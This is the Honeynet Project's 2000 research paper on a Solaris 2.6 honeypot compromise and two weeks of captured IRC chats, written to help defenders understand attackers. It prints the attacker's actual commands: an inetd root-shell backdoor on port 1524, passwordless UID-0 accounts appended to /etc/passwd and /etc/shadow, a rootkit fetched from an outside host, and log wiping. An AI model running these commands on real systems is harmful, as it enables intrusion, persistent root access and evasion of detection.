Know Your Enemy: Motives

The Motives and Psychology of the Black-hat Community

Honeynet Project
http://project.honeynet.org
Last Modified: 27 June, 2000

This paper is a continuation of the Know Your Enemy series. This series is dedicated to learning the tools and tactics of the black-hat community. Unlike the previous papers which focused purely on the "what" and "how" of the black-hat community, specifically the technical tools, their use and implementation, this paper explores the motivation and psychology of the black-hat community, in their very own words. Part I starts with the compromise of a Solaris 2.6 system. Part II provides information rarely published, a record of conversations and actions which took place over a fourteen-day period following the compromise of a honeypot system. Learn how and why black-hats attack systems. Once the Solaris 2.6 system was compromised, the black-hat put an IRC bot on our system. This bot, configured and implemented by the black-hat, captured all their conversations on an IRC channel. We monitored these conversations over a two week period, all of which are contained here. This paper is not meant to be a generalization of the black-hat community. Instead, we present a specific incident involving several individuals. However, this should give you an idea of how certain members can think and behave. This is a common threat that we all face in the security community, and we sincerely hope other security professionals benefit from this work.

This information was obtained through the use of a honeynet. A honeynet is a network of various honeypots, designed to be compromised by the black-hat community. While some honeypots are used to divert the attention of attackers from legitimate systems, the purpose of a honeynet is to learn the tools and tactics of the black-hat community. Most of the information provided in this document has been sanitized. Specifically, user identities and passwords, credit card numbers, and most of the system names involved have all been changed. However, the actual technical tools and the chat sessions themselves have not been sanitized. All this information was forwarded to both CERT and the FBI before being released. Also, over 370 notifications were sent out to administrators of systems we believed were compromised.

Foreword, by Brad Powell

Part I: The Compromise

A Solaris 2.6 default installation was used for our honeypot. No modifications or patches were installed on the system. The vulnerabilities discussed here exist in any default, unpatched installation of Solaris 2.6. That is the whole purpose of the honeynet, to identify vulnerabilities in production systems and learn how they are exploited. When exploited, we can then learn the tools and tactics of the black-hat community. The honeynet itself is an environment designed to track the black-hat's every move.

On June 4, 2000 our Solaris 2.6 honeypot was compromised with the rpc.ttdbserv Solaris exploit, which allows the execution of code via a buffer overflow in the ToolTalk object database server (CVE-1999-0003). Note that this exploit is also listed as #3 in SANS Top Ten List. This attack was both detected and alerted by snort, a sniffer based IDS system.

```
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill:
192.168.78.12:877 -> 172.16.1.107:32775
```

The rpc.ttdbserv exploit is a buffer overflow attack that allows the remote user to execute commands on the system as root. The following command was executed, giving the black-hat

a backdoor. The service ingreslock (predefined in /etc/services as port 1524) is added to a file called '/tmp/bob', and then inetd is executed with '/tmp/bob' as the configuration file. /bin/sh is then bound to port 1524 and is running as root, giving the remote user root access.

```
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i'
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
```

Once the black-hat created this backdoor, he connected to port 1524, accessed a shell as root, and executed the following commands. He creates two user accounts, so he can telnet back in. Notice the errors and control characters, the shell on port 1524 does not have a proper environment.

```
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides     console      May 24 21:09
^M: not found
# exit;
```

Our black-hat now has two accounts on our compromised system. He can now telnet it as the user 're', then su to the user 'r', which has UID 0, thus gaining root access. We will now review the actual keystrokes of the black-hat as they do just that, and more.

```
 !"' !"P#$#$'LINUX'

SunOS 5.6

login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
$ su r
```

Our black-hat now has root access. As common, the next step is retrieve the rootkit and take control of the system . First, we see the black-hat create a 'hidden' directory to hide the rootkit.

```
# mkdir /dev/".. "
# cd /dev/".. "
```

After creating the directory, the black-hat retrieves the rootkit from another system.

```
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
```

```
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
```

Once the rootkit is successfully downloaded, the kit is untared and installed. Notice how the entire rootkit is installed by executing a single script, setup.sh. This script also calls another script, secure.sh. You can download the entire Solaris rootkit used in this attack here.

```
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
```

```
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
```

Here the rootkit installation script first cleans out the log files to delete the information associated with the black-hat's activities.

```
- WTMP:
/var/adm/wtmp is Sun Jun  4 11:47:39 2000
/usr/adm/wtmp is Sun Jun  4 11:47:39 2000
/etc/wtmp is Sun Jun  4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun  4 11:47:39 2000
/usr/adm/utmp is Sun Jun  4 11:47:39 2000
/etc/utmp is Sun Jun  4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun  4 11:47:39 2000
/usr/adm/lastlog is Sun Jun  4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun  4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun  4 11:47:39 2000
/etc/wtmpx is Sun Jun  4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun  4 11:47:39 2000
/usr/adm/utmpx is Sun Jun  4 11:47:39 2000
/etc/utmpx is Sun Jun  4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
```

After cleaning the log files, the next step is to secure our system (how nice of them). They know we are an easy kill and they do not want anyone else to ruin their compromised system.

```
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
   207 ?        0:00 inetd
 11467 ?        0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
```

Next, an IRC proxy is launched. What is bizarre is that later on the script kills this process. I have no idea why.

```
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
    Daemon port......:9879
    Maxusers.........:0
    Default conn port:6667
    Pid File.........:./pid.sys222
    Vhost Default....:-SYSTEM DEFAULT-
    Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
```

More file modifications are done. Not seen from the script output are the copying of Trojan binaries, including /bin/login, /bin/ls, /usr/sbin/netstat, and /bin/ps. I highly recommend you review the source of the setup.sh script and the secure.sh script to see what actually happens. One day you may have to review a system that has been rooted with a similar kit.

```
# kill -9 11467
# ps -u root |grep |grep inetd inetd
   207 ?        0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep  grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
        [ -u userlist ] [ -U userlist ] [ -G grouplist ]
        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
  'format' is one or more of:
        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
```

```
        pri opri pcpu pmem vsz rss osz nice class time etime stime
        f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
```

Last, our black-hat launches an IRC bot. The purpose of this bot is to ensure they will maintain ops on the IRC channel of their choice. This bot also recorded all their conversations on the IRC channel. It is this bot that they installed on our compromised system that relayed their IRC chats on our network.

```
# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit
```

Once the bot was in place, they left the system alone. It is this bot that captured all of their conversations (see Part II below). For more information on IRC and how the black-hat community uses IRC and bots, we highly recommend the paper Tracking Hackers on IRC by David Brumley. Over the course of the following week they returned several times, only to confirm that they still had access. One week later, on 11 June, they connected again and attempted to use the system for Denial of Service attacks. However, the honeynet is designed to block any attempt to use a honeypot as a base of an attack against outside systems. All attempts to use the honeypot for a Denial of Service attack were automatically blocked.

What we have witnessed here are commonly used tools and tactics of the black-hat community. Our black-hat randomly scanned the Internet for a known vulnerability (in this case rpc.ttdbserv). Once identified, they quickly compromised the system and installed a rootkit using commonly scripted tools. Once they had control, they installed a bot, most likely to ensure they would maintain 'ops' on the IRC channels of their choice. What is uncommon are the two weeks of IRC chat sessions that their bot captured for us. In the next part of this paper, we discover the motivations and psychology of the black-hat community, in their own words. If you are concerned that your system(s) may have been compromised by similar means, review this checklist. It covers what to check for and links on how to react to a system compromise.

Part II: The IRC Chat Sessions

Below are the actual chat sessions of the black-hat community, specifically two individuals whom we will call D1ck and J4n3. Most of their chats will happen on the IRC channel we will call K1dd13. You will read the activities of these two main characters, and a variety of others. The chat sessions are broken down by days, listed below. We recommend you read them in sequence, so you can better understand what is going on. IRC channels, IRC nicks, system names and IP addresses have been sanitized. All system IP addresses have been replaced with RFC 1918 address space, all system domain names have been replaced with 'example', and all credit card numbers have been placed by 'xxxx'. Any similarities the IRC channels or IRC nicks may have with the real world are purely coincidental. Be advised, some of the language used is abusive in nature, we have chosen not to sanitize this. Also,

sometimes several of the black-hats will speak foreign languages. Where possible, we have translated this into English. As you read these chat sessions, take into consideration their lack of skill and networking knowledge. Often you will see them attempting to figure out the most fundamental of Unix skills. And yet, they are still able to compromise or damage a large number of systems. This is not a threat to take lightly.

- Day 1, June 04
  Our chat sessions begin with the discussion of building an exploit archive and the sharing of exploits to be used against potential targets.
- Day 2, June 05
  Today D1ck and J4n3 share exploits and Denial of Service attacks. Notice how they brag about how many blists (broadcast amplifier networks) they have for the attacks. Looks like one of them is gunning for Linux boxes in .edu land. They also discussed using new rootkits for Linux and sparc.
- Day 3, June 06
  D1ck and J4n3 brag about the systems they have launched Denial of Service attacks against. Later on D1ck teaches J4n3 how to mount a drive. Then they discuss sniffit (how to use it) and last, D1ck desperately looks for an Irix exploit and rootkit.
- Day 4, June 07
  D1ck and J4n3 decided they want to take out India with Denial of Service attacks and bind exploits. Later on, they DoS other IRC members who irritate them.
- Day 5, June 08
  D1ck asks J4n3 to take out three systems for him. D1ck and his elite buddy Sp07 try to figure out how a sniffer works "umm doesnt it have to be the same network?".
- Day 6, June 09
  Our wonder team has been busy, looks like D1ck rooted over 40 systems. If they scan enough systems, they can and will gain root.
- Day 7, June 10
  Not an exciting day. D1ck teaches a new k1dd13 how to use the sadmind exploit. We are not sure if D1ck even knows how to use it himself.
- Day 8, June 11
  D1ck and J4n3 discuss systems they own and people they want to DoS. D1ck discovers Ping of Death and thinks he is very k3wl.
- Day 9, June 12
  Looks like D1ck strikes it big, he finds an ISP and gains access to their billing and over 5,000 user accounts. Now they have to figure out how to crack them.
- Day 10, June 13
  Sp07 joins the gang today. Not the friendliest individual for the Internet community. Seems to have taken a wee bit of a dislike to India also.
- Day 11, June 14
  They start cracking user passwords and access personal accounts.
- Day 12, June 15 Also with Romanian Translated
  D1ck and J4n3 try to find credit card numbers on a Credit Card channel so they can buy some domain names.
- Day 13, June 16 Also with Romanian Translated
  D1ck and J4n3 still hangout on the Credit Card channel. Members swap credit cards, shell accounts, and porn sites. At the end of the chat session, D1ck and J4n3 focus on their website.

- Day 14, June 17 Also with Romanian Translated
  D1ck and J4n3 cover how to gain accounts on a Linux box, talk more about Credit Cards and continue building a website.

We have just reviewed 14 days in the life of the black-hat community. This is not meant to imply that all black-hats think and act like this. In fact, we have focused only on a few specific individuals. However, we hope this information gives you an idea of what many of the community are capable of. They may not be technically competent, or even understand the tools they are using. However by focusing on a large number of systems, they can achieve dramatic results. This is not a threat to take lightly. They are not concerned about what harm they may cause. They focus only on achieving their goals.

Conclusion

The purpose of this paper is to give you an understanding of the motives and psychology of the black-hat community. The paper started off with the system compromise of a Solaris 2.6 honeypot. It demonstrated a commonly used remote exploit of a vulnerable system. Once compromised, the system was quickly controlled with a rootkit, another commonly used tool among the black-hat community. However, what makes this paper unique is the look you get into the black-hat mentality. Here, you saw in their very own words how they think and act, particularly how they can indiscriminately attack and damage systems. They randomly probe large numbers of systems and attack the weakest systems they can find. By understanding their motives and methods, you can better protect your systems against this threat.

Acknowledgments

This paper is the result of the work and research of the Honeynet Project. The Honeynet Project is a small group of security professionals dedicated to learning the tools and tactics of the black-hat community and sharing those lessons learned with the security community.

We would like to thank Alan Paller of SANS. Though not a member of the Honeynet Project, he has helped make this research a reality.